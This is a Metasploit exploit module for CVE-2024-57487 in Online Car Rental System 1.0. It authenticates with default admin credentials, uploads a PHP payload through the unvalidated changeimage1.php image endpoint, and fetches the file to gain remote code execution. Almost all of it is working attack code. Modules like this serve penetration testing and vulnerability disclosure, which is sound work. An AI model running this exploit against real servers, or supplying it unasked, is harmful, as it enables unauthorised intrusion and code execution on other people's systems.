##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Car Rental System 1.0 File Upload RCE (Authenticated)',
        'Description' => %q{
          This module exploits an authenticated remote code execution vulnerability in the
          Online Car Rental System 1.0 via the `changeimage1.php` endpoint. An authenticated
          attacker can upload malicious PHP scripts without proper validation, enabling
          arbitrary code execution on the server.
        },
        'Author' => ['Aaryan Golatkar'],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-57487'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-57487'],
        ],
        'DisclosureDate' => '2025-01-13',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to Online Car Rental System', '/']),
        OptString.new('USERNAME', [true, 'The admin username', 'admin']),
        OptString.new('PASSWORD', [true, 'The admin password', 'Test@12345']),
      ]
    )
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'admin/'))
    return CheckCode::Unknown('Failed to access the target.') unless res&.code == 200

    if res.body.include?('Car Rental Portal')
      return CheckCode::Detected('The target appears to be the Online Car Rental System.')
    end

    CheckCode::Safe('Online Car Rental System not detected')
  end

  def login
    print_status('Attempting to authenticate...')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin/'),
      'method' => 'POST',
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'login' => ''
      },
      'keep_cookies' => true
    )

    unless res&.code == 200 && res.get_cookies.include?('PHPSESSID')
      fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
    end

    print_good('Authentication successful.')
  end

  def upload_shell
    payload_name = "#{Rex::Text.rand_text_alphanumeric(5)}.php"
    payload = get_write_exec_payload(unlink_self: true)

    print_status("Uploading payload as #{payload_name}...")

    post_data = Rex::MIME::Message.new
    post_data.add_part(payload, 'application/x-php', nil, "form-data; name=\"img1\"; filename=\"#{payload_name}\"")
    post_data.add_part('', nil, nil, 'form-data; name="update"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin/changeimage1.php'),
      'method' => 'POST',
      'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{post_data.bound}" },
      'vars_get' => { imgid: '1' },
      'data' => post_data.to_s
    )

    fail_with(Failure::UnexpectedReply, 'Failed to upload payload.') unless res&.code == 200

    print_good('Payload uploaded successfully.')
    payload_name
  end

  def exploit
    login
    payload_name = upload_shell
    payload_url = normalize_uri(target_uri.path, "admin/img/vehicleimages/#{payload_name}")

    print_status("Executing payload at #{payload_url}...")
    send_request_cgi(
      'uri' => payload_url,
      'method' => 'GET'
    )
  end
end
